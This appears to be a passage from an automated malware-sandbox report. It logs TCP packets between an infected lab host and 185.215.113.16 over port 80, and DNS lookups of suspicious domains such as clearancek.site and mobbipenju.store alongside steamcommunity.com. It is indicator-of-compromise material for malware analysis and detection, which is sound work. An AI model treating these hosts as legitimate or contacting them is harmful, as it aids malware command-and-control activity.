Oct 24, 2024 11:03:00.089916945 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089946032 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089961052 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.089989901 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.090015888 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.134964943 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135005951 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135023117 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135040998 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135055065 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135059118 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135055065 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135099888 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135099888 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135099888 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135390997 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135421991 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135441065 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135457993 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135481119 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135516882 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.135524988 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.135905981 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.136241913 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.136261940 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.136300087 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.136312962 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.136315107 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.136333942 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.136341095 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.136352062 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.136380911 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.136943102 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.136996031 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.137008905 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.137079954 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.208465099 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.208487034 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.208501101 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.208547115 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.208586931 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.208992958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.209007025 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.209019899 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.209033012 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.209049940 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.209080935 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.209160089 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.209202051 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.252294064 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252336025 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252353907 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252372026 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.252412081 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.252454042 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252475977 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252494097 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252505064 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.252512932 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.252533913 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.252557993 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.253067017 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253083944 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253101110 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253109932 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.253118038 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253130913 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.253155947 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.253570080 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253587961 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253604889 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253628016 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.253628016 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253645897 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.253649950 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.253676891 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.254285097 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.254314899 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.254328012 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.254333019 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.254347086 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.254362106 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.254424095 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.254457951 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.325993061 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326050043 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326067924 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326085091 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326095104 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326174021 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.326224089 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.326229095 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326267004 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326268911 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.326283932 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.326319933 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370007992 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370063066 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370081902 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370110035 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370126009 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370218039 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370299101 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370440960 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370457888 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370476007 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370492935 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370493889 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370507956 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370522022 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370538950 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370548010 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370569944 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370600939 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370619059 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370650053 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370673895 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.370712042 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370727062 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.370773077 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.371226072 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.371279955 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.371305943 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.371341944 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.371356010 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.371444941 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.417347908 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.417370081 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.417386055 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.417395115 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.417532921 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.443816900 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.443862915 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.443880081 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.443964958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.443979025 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.443979979 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.443996906 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.444015980 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.444029093 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.444052935 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.444097996 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.444263935 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.444325924 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487653971 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487684965 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487700939 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487752914 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487770081 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487822056 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487826109 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487843990 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487843990 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487859964 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487890959 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487890959 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487921000 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.487947941 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487962961 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487982035 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.487999916 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488012075 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.488015890 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488030910 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.488053083 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.488075018 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488121986 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.488755941 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488804102 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488818884 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488852978 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.488882065 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.488889933 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488904953 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.488960028 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.534718990 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.534749985 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.534769058 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.534879923 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.561532021 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561554909 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561583996 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561599970 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561614990 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561633110 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561671019 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.561705112 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.561903954 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561918974 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.561959982 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.562127113 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.562176943 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.562221050 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.604720116 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.604820967 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.604845047 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.604871988 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.604886055 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.604906082 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605031013 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605031013 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605281115 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605298996 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605314970 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605331898 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605362892 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605362892 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605407953 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605712891 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605758905 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605767012 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605782986 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605815887 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605824947 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605828047 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605843067 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605859995 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.605917931 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605951071 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.605951071 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.606544018 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.606558084 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.606590033 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.606607914 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.606611967 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.606632948 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.606633902 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.606731892 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.652194023 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.652215958 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.652235031 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.652251005 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.652380943 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.652381897 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.679270029 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679291010 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679302931 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679331064 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679404020 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.679445028 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.679456949 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679470062 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679482937 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679500103 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.679519892 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.679541111 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722156048 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722172022 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722189903 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722203016 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722253084 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722333908 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722335100 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722362041 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722409964 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722512007 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722559929 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722589016 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722603083 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722615004 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722650051 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722681999 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.722949028 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722961903 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.722973108 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.723009109 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.723038912 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.723042965 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.723057032 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.723100901 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.723550081 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.723562002 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.723572969 CEST	80	49920	185.215.113.16	192.168.2.6
Oct 24, 2024 11:03:00.723613977 CEST	49920	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:03:00.723647118 CEST	49920	80	192.168.2.6	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 11:02:13.971837997 CEST	192.168.2.6	1.1.1.1	0x673f	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:13.989989996 CEST	192.168.2.6	1.1.1.1	0xf221	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.002547979 CEST	192.168.2.6	1.1.1.1	0xcb5	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.014431000 CEST	192.168.2.6	1.1.1.1	0x7b09	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.024775982 CEST	192.168.2.6	1.1.1.1	0x6238	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.037252903 CEST	192.168.2.6	1.1.1.1	0x9cc4	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.049535036 CEST	192.168.2.6	1.1.1.1	0xc4d7	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.061862946 CEST	192.168.2.6	1.1.1.1	0x4d32	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.074249029 CEST	192.168.2.6	1.1.1.1	0x74a1	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:15.779341936 CEST	192.168.2.6	1.1.1.1	0x5790	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.552881002 CEST	192.168.2.6	1.1.1.1	0x90a9	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.565798998 CEST	192.168.2.6	1.1.1.1	0x4429	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.586489916 CEST	192.168.2.6	1.1.1.1	0xfd62	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.599371910 CEST	192.168.2.6	1.1.1.1	0x1182	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.612723112 CEST	192.168.2.6	1.1.1.1	0xe59a	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.626702070 CEST	192.168.2.6	1.1.1.1	0x5b90	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.637727022 CEST	192.168.2.6	1.1.1.1	0x20e3	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.657578945 CEST	192.168.2.6	1.1.1.1	0x6d28	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.677318096 CEST	192.168.2.6	1.1.1.1	0xea6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.379726887 CEST	192.168.2.6	1.1.1.1	0xeb25	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.404726028 CEST	192.168.2.6	1.1.1.1	0x945e	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.427566051 CEST	192.168.2.6	1.1.1.1	0x7491	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.442370892 CEST	192.168.2.6	1.1.1.1	0x729c	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.456657887 CEST	192.168.2.6	1.1.1.1	0x7652	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.470076084 CEST	192.168.2.6	1.1.1.1	0x3678	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.483458042 CEST	192.168.2.6	1.1.1.1	0x5a2c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.495697021 CEST	192.168.2.6	1.1.1.1	0xe021	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.509231091 CEST	192.168.2.6	1.1.1.1	0xa01a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:09.962265015 CEST	192.168.2.6	1.1.1.1	0xa982	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:09.982687950 CEST	192.168.2.6	1.1.1.1	0x1ff8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:12.618249893 CEST	192.168.2.6	1.1.1.1	0xc8d2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
